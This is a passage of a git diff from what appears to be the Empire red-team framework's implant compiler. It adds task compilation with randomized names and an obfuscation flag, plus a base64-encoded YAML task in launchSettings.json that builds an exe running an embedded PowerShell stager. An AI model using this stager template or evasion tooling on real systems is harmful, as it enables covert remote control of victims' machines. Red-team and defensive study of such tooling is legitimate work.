Fetch the list of tasks after ingestion + var tasks = empireService.GetEmpire().gruntTasks; + + var foundTask = tasks.FirstOrDefault(t => t.Name == task); + if (foundTask == null) + { + Console.WriteLine("Task not found: " + task); + return; + } + + foundTask.Name = GenerateRandomizedName(foundTask.Name); + foundTask.Confuse = confuse; + + DebugUtility.DebugPrint("Compiling task..."); + foundTask.Compile(); + + // Return the final task name + DebugUtility.DebugPrint($"Final Task Name: {foundTask.Name}"); + Console.WriteLine($"Final Task Name: {foundTask.Name}"); + } + catch (System.Exception ex) + { + DebugUtility.DebugPrint($"Error occurred: {ex.ToString()}"); + Console.WriteLine("Error occurred: " + ex.ToString()); + } + }); + + await rootCommand.InvokeAsync(args); + } + + private static string GenerateRandomizedName(string baseName) + { + var random = new Random(); + var randomName = new string(Enumerable.Repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", 5) + .Select(s => s[random.Next(s.Length)]).ToArray()); + return $"{baseName}_{randomName}"; + } + + private static string DecodeBase64(string encodedString) + { + var bytes = Convert.FromBase64String(encodedString); + return Encoding.UTF8.GetString(bytes); + } + } +} diff --git a/EmpireCompiler/Properties/launchSettings.json b/EmpireCompiler/Properties/launchSettings.json index adaff58..3d1c440 100644 --- a/EmpireCompiler/Properties/launchSettings.json +++ b/EmpireCompiler/Properties/launchSettings.json @@ -3,10 +3,10 @@ "EmpireCompiler": { "commandName": "Project", "launchBrowser": true, + "commandLineArgs": "--task CSharpPS --yaml LSBOYW1lOiBDU2hhcnBQUwogIEFsaWFzZXM6IFtdCiAgRGVzY3JpcHRpb246IEdlbmVyYXRlIGEgUG93ZXJTaGVsbCBDIyBzb2x1dGlvbiB3aXRoIGVtYmVkZGVkIHN0YWdlciBjb2RlIHRoYXQgY29tcGlsZXMgdG8gYW4gZXhlCiAgQXV0aG9yOgogICAgICBOYW1lOiBDeDAxTgogICAgICBIYW5kbGU6IEN4MDFOCiAgICAgIExpbms6IGh0dHBzOi8vdHdpdHRlci5jb20vX0N4MDFOCiAgSGVscDoKICBMYW5ndWFnZTogQ1NoYXJwCiAgQ29tcGF0aWJsZURvdE5ldFZlcnNpb25zOgogIC0gTmV0NDAKICAtIE5ldDM1CiAgQ29kZTogfAogICAgdXNpbmcgU3lzdGVtOwogICAgdXNpbmcgU3lzdGVtLlJlc291cmNlczsKICAgIHVzaW5nIFN5c3RlbS5MaW5xOwogICAgdXNpbmcgU3lzdGVtLkNvbGxlY3Rpb25zOwogICAgdXNpbmcgU3lzdGVtLlRleHQ7CiAgICB1c2luZyBTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uOwogICAgdXNpbmcgU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5SdW5zcGFjZXM7CiAgICB1c2luZyBTeXN0ZW0uSU87CiAgICB1c2luZyBTeXN0ZW0uUmVmbGVjdGlvbjsKICAgIAogICAgcHVibGljIHN0YXRpYyBjbGFzcyBQcm9ncmFtCiAgICB7CiAgICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgTWFpbihzdHJpbmdbXSBhcmdzKQogICAgICAgICAgewoKICAgICAgICAgICAgUG93ZXJTaGVsbCBwcyA9IFBvd2VyU2hlbGwuQ3JlYXRlKCk7CgogICAgICAgICAgICB0cnkKICAgICAgICAgICAgewogICAgICAgICAgICAgIHZhciBhc3NlbWJseSA9IEFzc2VtYmx5LkdldEV4ZWN1dGluZ0Fzc2VtYmx5KCk7CiAgICAgICAgICAgICAgdmFyIHJlc291cmNlTmFtZSA9ICJsYXVuY2hlci50eHQiOwoKICAgICAgICAgICAgICBzdHJpbmdbXSBuYW1lcyA9IGFzc2VtYmx5LkdldE1hbmlmZXN0UmVzb3VyY2VOYW1lcygpOwoKICAgICAgICAgICAgICB1c2luZyAoU3RyZWFtUmVhZGVyIHJlYWRlciA9IG5ldyBTdHJlYW1SZWFkZXIoYXNzZW1ibHkuR2V0TWFuaWZlc3RSZXNvdXJjZVN0cmVhbShyZXNvdXJjZU5hbWUpKSkKICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgIHN0cmluZyBzY3JpcHQgPSByZWFkZXIuUmVhZFRvRW5kKCk7CiAgICAgICAgICAgICAgICAgIHBzLkFkZFNjcmlwdChzY3JpcHQpOwogICAgICAgICAgICAgIH0KICAgICAgICAgICAgICBwcy5JbnZva2UoKTsKICAgIAogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gZSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIkVycm9yOiAiICsgZS5NZXNzYWdlLlRvU3RyaW5nKCkpOwogICAgICAgICAgICB9CgogICAgICAgICAgfQogICAgfQogIFRhc2tpbmdUeXBlOiBBc3NlbWJseQogIFVuc2FmZUNvbXBpbGU6IGZhbHNlCiAgVG9rZW5UYXNrOiBmYWxzZQogIE9wdGlvbnM6IFtdCiAgUmVmZXJlbmNlU291cmNlTGlicmFyaWVzOiBbXQogIFJlZmVyZW5jZUFzc2VtYmxpZXM6CiAgICAtIE5hbWU6IFN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uZGxsCiAgICAgIExvY2F0aW9uOiBuZXQzNVxTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLmRsbAogICAgICBEb3ROZXRWZXJzaW9uOiBOZXQzNQogICAgLSBOYW1lOiBTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLmRsbAogICAgICBMb2NhdGlvbjogbmV0NDBcU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5kbGwKICAgICAgRG90TmV0VmVyc2lvbjogTmV0NDAKICAgIC0gTmFtZTogU3lzdGVtLkNvcmUuZGxsCiAgICAgIExvY2F0aW9uOiBuZXQ0MFxTeXN0ZW0uQ29yZS5kbGwKICAgICAgRG90TmV0VmVyc2lvbjogTmV0NDAKICAgIC0gTmFtZTogU3lzdGVtLkNvcmUuZGxsCiAgICAgIExvY2F0aW9uOiBuZXQzNVxTeXN0ZW0uQ29yZS5kbGwKICAgICAgRG90TmV0VmVyc2lvbjogTmV0MzUKICAgIC0gTmFtZTogU3lzdGVtLmRsbAogICAgICBMb2NhdGlvbjogbmV0NDBcU3lzdGVtLmRsbAogICAgICBEb3ROZXRWZXJzaW9uOiBOZXQ0MAogICAgLSBOYW1lOiBTeXN0ZW0uZGxsCiAgICAgIExvY2F0aW9uOiBuZXQzNVxTeXN0ZW0uZGxsCiAgICAgIERvdE5ldFZlcnNpb246IE5ldDM1CiAgICAtIE5hbWU6IG1zY29ybGliLmRsbAogICAgICBMb2NhdGlvbjogbmV0NDBcbXNjb3JsaWIuZGxsCiAgICAgIERvdE5ldFZlcnNpb246IE5ldDQwCiAgICAtIE5hbWU6IG1zY29ybGliLmRsbAogICAgICBMb2NhdGlvbjogbmV0MzVcbXNjb3JsaWIuZGxsCiAgICAgIERvdE5ldFZlcnNpb246IE5ldDM1CiAgRW1iZWRkZWRSZXNvdXJjZXM6CiAgICAtIE5hbWU6IGxhdW5jaGVyLnR4dAogICAgICBMb2NhdGlvbjogbGF1bmNoZXIudHh0 --debug", "environmentVariables": { "ASPNETCORE_ENVIRONMENT": "Development" - }, - "applicationUrl": "https://localhost:3566;http://localhost:3567" + } } } } \ No newline at end of file diff --git a/EmpireCompiler/Utility/Debug.cs b/EmpireCompiler/Utility/Debug.cs new file mode 100644 index 0000000..d2350c1 --- /dev/null +++ b/EmpireCompiler/Utility/Debug.cs @@ -0,0 +1,17 @@ +using System; + +namespace EmpireCompiler.Utility +{ + public static class DebugUtility + { + public static bool IsDebugEnabled { get; set; } = false; + + public static void DebugPrint(string message) + { + if (IsDebugEnabled) + { + Console.WriteLine($"[DEBUG] {message}"); + } + } + } +} \ No newline at end of file diff --git a/Program.cs b/Program.cs deleted file mode 100644 index 7e91628..0000000 --- a/Program.cs +++ /dev/null @@ -1,17 +0,0 @@ -using Sharpire; -using System; - -class Program -{ - static void Main() - { - - Console.WriteLine("Enter Arguments"); - string[] arguments = Console.ReadLine().Split(' '); - SessionInfo sessionInfo = new SessionInfo(arguments); - (new EmpireStager(sessionInfo)).Execute(); - } -} - - - diff --git a/global.json b/global.json new file mode 100644 index 0000000..9e5e1fd --- /dev/null +++ b/global.json @@ -0,0 +1,7 @@ +{ + "sdk": { + "version": "6.0.0", + "rollForward": "latestMajor", + "allowPrerelease": true + } +} \ No newline at end of file